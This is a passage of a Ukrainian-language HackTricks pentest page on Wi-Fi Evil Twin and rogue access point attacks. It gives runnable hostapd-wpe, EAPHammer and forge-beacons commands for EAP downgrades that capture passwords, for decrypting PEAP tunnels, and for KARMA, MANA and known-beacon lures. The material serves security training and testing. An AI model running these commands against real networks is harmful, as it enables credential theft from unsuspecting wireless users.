./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

У конфігураційному файлі можна вибрати багато різних параметрів, таких як ssid, channel, user files, cret/key, dh parameters, wpa version та auth...

Використання hostapd-wpe з EAP-TLS, щоб дозволити будь-якому сертифікату увійти.

Використання EAPHammer

bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

За замовчуванням EAPHammer націлюється на такі методи аутентифікації (зверніть увагу, що GTC — перший, який спробує отримати паролі у відкритому вигляді, а потім застосовуються більш надійні методи аутентифікації):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Це методологія за замовчуванням, щоб уникнути тривалого часу підключення. Однак ви також можете вказати серверу методи автентифікації від найслабшого до найсильнішого:

--negotiate weakest

Або ви також можете використати:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

Using Airgeddon

Airgeddon може використовувати раніше згенеровані сертифікати для надання EAP-аутентифікації для WPA/WPA2-Enterprise мереж. Фейкова мережа занизить протокол з'єднання до EAP-MD5, тому вона зможе перехопити користувача та MD5 пароля. Пізніше нападник може спробувати зламати пароль.
Airggedon дає вам можливість безперервної Evil Twin атаки (noisy) або створити Evil Attack лише до того моменту, поки хтось не підключиться (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

Цей метод було протестовано на PEAP-з'єднанні, але оскільки я дешифрую довільний TLS-тунель, це також має працювати з EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.

Тепер запустіть Evil Twin за допомогою hostapd-wpe з цією зміненою конфігурацією як зазвичай. Також запустіть wireshark на інтерфейсі, який виконує атаку Evil Twin.

Зараз або пізніше (коли ви вже перехопили деякі спроби аутентифікації) ви можете додати приватний RSA-ключ у wireshark через: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Додайте новий запис і заповніть форму такими значеннями: IP address = any -- Port = 0 -- Protocol = data -- Key File (виберіть ваш файл ключа, щоб уникнути проблем виберіть файл ключа без захисту паролем).

І перегляньте нову вкладку "Decrypted TLS":

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Різні типи Media Access Control Filter Lists (MFACLs) та їх відповідні режими й вплив на поведінку rogue Access Point (AP):

  1. MAC-based Whitelist:
  • Rogue AP відповідатиме тільки на probe requests від пристроїв, вказаних у whitelist, залишаючись невидимим для всіх інших, які не вказані.
  1. MAC-based Blacklist:
  • Rogue AP ігноруватиме probe requests від пристроїв у blacklist, фактично роблячи rogue AP невидимим для цих конкретних пристроїв.
  1. SSID-based Whitelist:
  • Rogue AP відповідатиме на probe requests тільки для конкретних ESSIDs у списку, роблячи його невидимим для пристроїв, чиї Preferred Network Lists (PNLs) не містять цих ESSIDs.
  1. SSID-based Blacklist:
  • Rogue AP не відповідатиме на probe requests для конкретних ESSIDs у blacklist, роблячи його невидимим для пристроїв, що шукають ці мережі.
bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Цей метод дозволяє зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі probe requests від пристроїв, що шукають мережі. Ця техніка обманює пристрої, змушуючи їх підключатися до AP зловмисника, імітуючи мережі, які шукають пристрої. Як тільки пристрій відправляє запит на підключення до цієї шкідливої AP, підключення завершується, і пристрій помилково підключається до мережі зловмисника.

MANA

Потім пристрої почали ігнорувати ненадійні відповіді мереж, що знизило ефективність оригінальної karma attack. Однак з'явився новий метод, відомий як MANA attack, який представили Ian de Villiers та Dominic White. Цей метод передбачає, що шкідлива AP захоплює Preferred Network Lists (PNL) з пристроїв, відповідаючи на їхні broadcast probe requests назвами мереж (SSIDs), які раніше зберігалися пристроями. Ця складна атака обходить захисти проти оригінальної karma attack, експлуатуючи спосіб, у який пристрої запам'ятовують та пріоритезують відомі мережі.

MANA attack працює шляхом моніторингу як directed, так і broadcast probe requests від пристроїв. Для directed requests вона записує MAC-адресу пристрою та ім'я запитуваної мережі, додаючи цю інформацію до списку. Коли надходить broadcast request, AP відповідає інформацією, що відповідає будь-якій мережі зі списку пристрою, спонукаючи пристрій підключитися до шкідливої AP.

bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

А Loud MANA attack — це просунута стратегія для випадків, коли пристрої не використовують directed probing або коли їх Preferred Network Lists (PNL) невідомі атакуючому. Вона працює за принципом, що пристрої в одному районі ймовірно мають у своїх PNL деякі спільні імена мереж. Замість вибіркової відповіді ця атака транслює probe responses для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Такий широкий підхід підвищує шанси, що пристрій впізнає знайому мережу і спробує підключитися до rogue Access Point (AP).

bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Коли Loud MANA attack може бути недостатньою, Known Beacon attack пропонує інший підхід. Цей метод brute-forces процес підключення, симулюючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSIDs отриманих із wordlist. Це імітує присутність численних мереж, сподіваючись співпасти з ESSID у PNL жертви, спонукаючи здійснити спробу підключення до підробленого AP. Атаку можна посилити, поєднавши її з опцією --loud для більш агресивної спроби захопити пристрої.

Eaphammer реалізував цю атаку як MANA attack, де всі ESSIDs у списку транслюються (ви також можете поєднати це з --loud, щоб створити Loud MANA + Known beacons attack):

bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Атака Known Beacon Burst attack передбачає швидку трансляцію beacon frames для кожного ESSID, перерахованого у файлі. Це створює щільне середовище фейкових мереж, значно підвищуючи ймовірність підключення пристроїв до rogue AP, особливо у поєднанні з MANA attack. Ця техніка використовує швидкість і масштаб, щоб перевантажити механізми вибору мереж у пристроїв.

bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct — це протокол, що дозволяє пристроям з'єднуватися безпосередньо один з одним через Wi-Fi без потреби в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, і полегшує пряму комунікацію між пристроями. Важливою особливістю Wi-Fi Direct є те, що один із пристроїв бере на себе роль точки доступу, відомої як group owner, для керування з'єднанням.

Безпеку для підключень Wi-Fi Direct забезпечує Wi-Fi Protected Setup (WPS), який підтримує кілька методів для захищеного спарингу, зокрема:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Ці методи, особливо PIN entry, вразливі до тих самих вразливостей, що й WPS у традиційних Wi‑Fi мережах, тому вони стають цілями для аналогічних векторів атак.

EvilDirect Hijacking

EvilDirect Hijacking — це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію Evil Twin атаки, але спрямована на підключення Wi-Fi Direct. У цьому сценарії зловмисник видає себе за легітимного group owner з метою змусити пристрої підключитися до шкідливого пристрою. Цей метод можна реалізувати за допомогою інструментів на кшталт airbase-ng, вказавши канал, ESSID і MAC address підробленого пристрою:

Посилання

TODO: Перегляньте https://github.com/wifiphisher/wifiphisher (логін через facebook та імітація WPA у captive portals)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks